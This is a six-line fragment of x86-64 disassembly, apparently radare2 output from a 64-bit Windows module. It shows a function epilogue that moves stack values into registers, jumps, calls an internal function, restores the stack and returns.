mov eax, dword [rsp + 0x20]
jmp 0x1800103a3
mov rcx, qword [rsp + 0x50]
call fcn.18000ff0c
add rsp, 0x48
ret